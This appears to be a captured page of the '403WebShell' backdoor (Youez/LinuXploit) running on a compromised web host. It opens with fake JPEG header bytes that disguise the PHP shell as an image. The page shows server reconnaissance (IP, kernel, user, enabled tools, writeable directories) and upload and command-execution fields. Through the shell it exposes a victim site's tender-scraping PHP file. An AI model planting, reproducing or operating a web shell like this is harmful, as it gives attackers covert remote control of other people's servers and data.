����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 162.0.232.25  /  Your IP : 13.59.116.142
Web Server : LiteSpeed
System : Linux premium276.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : kwacuqig ( 988)
PHP Version : 8.2.26
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/kwacuqig/injessview.com/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/kwacuqig/injessview.com/construction-works.php
<?php

$url = 'https://ppda.mw/tenders';  // replace with the actual URL

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

$html = curl_exec($ch);
curl_close($ch);

// Load HTML
$dom = new DOMDocument;
@$dom->loadHTML($html);
$xpath = new DOMXPath($dom);

// Select rows in the table
$rows = $xpath->query('//table[@id="tenderstable"]/tbody/tr');

?>
<?php
//set time zone for your country
date_default_timezone_set('Africa/Blantyre');
?>
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Construction Works</title>
    <link rel="stylesheet" href="css/bootstrap.min.css">
    <link rel="stylesheet" href="css/aos.css">
    <link rel="icon" type="image/png" href="./img/engineer.png" />
    <link rel="stylesheet" href="css/main.css">
    <script src="./js/sweetalert.min.js"></script>
</head>

<body class="d-flex flex-column min-vh-100 bg-light">

    <?php include './nav.php'; ?>

    <div class="container-fluid mt-5">
        <div class="table-responsive">
            <table class="table table-bordered table-hover table-striped fancy-table" id="tenderstable">
                <thead>
                    <tr>
                        <th>Title</th>
                        <th>Institution</th>
                        <th>Reference No.</th>
                        <th>Publish Date</th>
                        <th>Closing Date</th>
                        <th>Attachment</th>
                    </tr>
                </thead>
                <tbody>
                    <?php
                    foreach ($rows as $row):
                        $title = trim($xpath->query('td[1]', $row)->item(0)->textContent);
                        if (strpos(strtolower($title), "construction") !== false) {
                            $institution = trim($xpath->query('td[2]', $row)->item(0)->textContent);
                            $referenceNo = trim($xpath->query('td[3]', $row)->item(0)->textContent);
                            $publishDate = trim($xpath->query('td[4]', $row)->item(0)->textContent);
                            $closingDate = trim($xpath->query('td[5]', $row)->item(0)->textContent);
                            $attachmentLink = trim($xpath->query('td[6]//a/@href', $row)->item(0)->textContent);
                    ?>
                            <tr>
                                <td><?php echo htmlspecialchars(strtoupper($title)); ?></td>
                                <td><?php echo htmlspecialchars($institution); ?></td>
                                <td><?php echo htmlspecialchars($referenceNo); ?></td>
                                <td><?php echo htmlspecialchars($publishDate); ?></td>
                                <td><?php echo htmlspecialchars($closingDate); ?></td>
                                <td><a href="<?php echo htmlspecialchars($attachmentLink); ?>" class="btn btn-primary" download><i class="fa fa-download"></i></a></td>
                            </tr>
                    <?php
                        } else {
                            continue;
                        }

                    endforeach;
                    ?>
                </tbody>
            </table>
        </div>
    </div>

    <?php include './footer.php'; ?>
    <script>
        document.querySelectorAll("ul.navbar-nav .nav-link")[1].classList.add("active")
    </script>

Youez - 2016 - github.com/yon3zu
LinuXploit